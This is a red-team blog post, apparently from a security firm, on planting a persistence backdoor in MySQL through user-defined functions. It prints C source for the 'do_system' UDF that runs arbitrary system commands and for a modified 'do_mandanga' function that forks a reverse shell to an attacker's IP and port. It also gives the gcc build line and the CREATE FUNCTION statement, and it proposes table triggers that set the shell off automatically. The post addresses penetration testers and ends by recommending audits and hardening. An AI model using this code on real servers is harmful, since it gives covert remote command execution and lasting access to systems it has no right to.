BlackArrow blog header

Backdoors in XAMP stack (part II): UDF in MySQL

EIn the last Hack&Beers at Vigo we were giving a talk about backdoors in the XAMP stack, where we explained the same methods that we intend to summarize in this series of posts. Today we will talk about an old technique to introduce backdoors in the database, using MySQL UDFs.

Introduction

MySQL UDF (User-Defined Functions) are extra functions that the user can add to MySQL to extend its default capabilities. Through the programming of libraries (.so and .dll depending on the operating system we are using as a base) the user can add new functions to the default MySQL functions repertoire. As we saw in the previous installment of this series, with PHP extensions, this type of feature can be abused by the Red Team to add a library with a backdoor that allows us to regain control of the compromised machine in the future.

Currently the libraries containing the UDF code must be placed in the location defined by the “plugin_dir” variable.

Building our MySQL UDF

To build our small backdoor we will need to create a library containing at least 2 functions:

  • The function itself that will be executed from MySQL. In our case it will correspond to the code that will fork and execute our reverse shell to the IP and port that are indicated as function arguments
  • An init function
  • Opcionalmente una función deinit.

In a normal context, the init and deinit functions would be in charge of preparing any previous (and subsequent) environment or setup necessary for the correct execution of our function (e.g. creating structures, allocating memory, freeing resources, checking arguments, etc.).

Probably within the offensive security the best known UDF is the one called “Raptor” / “Raptor2” / “Do_System”. It is a fairly simple UDF that allows the execution from MySQL of system commands, so its use in penetration testing has been widespread -especially when MySQL is misconfigured and allows its abuse to elevate privileges- as well as by some system administrators who require this dangerous functionality (do_system would be an equivalent to Microsoft SQL Server’s xp_cmdshell). In any case, because of its simplicity, it becomes a good example to understand how to program a UDF.

#include 
#include 
 
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
 
typedef struct st_udf_args {
    unsigned int        arg_count;  // number of arguments
    enum Item_result    *arg_type;  // pointer to item_result
    char            **args;     // pointer to arguments
    unsigned long       *lengths;   // length of string args
    char            *maybe_null;    // 1 for maybe_null args
} UDF_ARGS;
 
typedef struct st_udf_init {
    char            maybe_null; // 1 if func can return NULL
    unsigned int        decimals;   // for real functions
    unsigned long       max_length; // for string functions
    char            *ptr;       // free ptr for func data
    char            const_item; // 0 if result is constant
} UDF_INIT;
 
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
    if (args->arg_count != 1)
        return(0);
 
    system(args->args[0]);
 
    return(0);
}
 
char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
    return(0);
}

In this case the init function is useless, because all the functionality depends on the do_system itself. As we can see, two basic structures are created (UDF_ARGS and UDF_INIT) and then we have the “main” function and the “init” function. In the main function we check that the number of arguments is correct and, if this condition is met, we proceed to execute a system() on it. Simple and effective.

To build our backdoor we must modify the “main” function and add a call to a function that forks and executes our reverse shell:

//(...)
int do_mandanga(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
    if (args->arg_count != 2)
        return(0);
 
    daemonize(); //Función que hace el fork
    reverse_shell(args->args[0], atoi(args->args[1])) //Nuestra reverse shell
    return(0);
}
//(...)

Para compilar utilizamos gcc:

gcc -shared -o backdoor.so backdoor.c

We move the .so to the folder indicated by the plugin_dir variable and finally we must “create” the function inside MySQL, telling it from which library:

create function do_mandanga returns integer soname 'backdoor.so';

At this point, if we execute from the MySQL console do_mandanga(“IP Our”, 443), MySQL will fork and connect to a port listening at ” Our IP” allowing us to execute commands on the computer again. The problem is this: we need to have access to the console to be able to call that function. Or maybe not?

Triggers + UDFs at MySQL == WIN

Some time ago we did a post about how MySQL triggers allowed us to persist on a server – specifically the example shown was the injection of malicious JavaScript code for the administrator to modify a plugin and add a small webshell. We can reuse the same concept to “trigger” our reverse shell when some condition is met, for example if there is a table that records comments, user-agents, failed login, etc. we can place there the trigger that executes the call to our backdoor function when a certain condition is met.

Conclusion

In this short post we have seen how to create a malicious MySQL UDF to be used as a backdoor during a penetration test. As always, we recommend performing audits and pentests on your company’s web assets, as well as hardening them.

Discover our work and cybersecurity services at www.tarlogic.com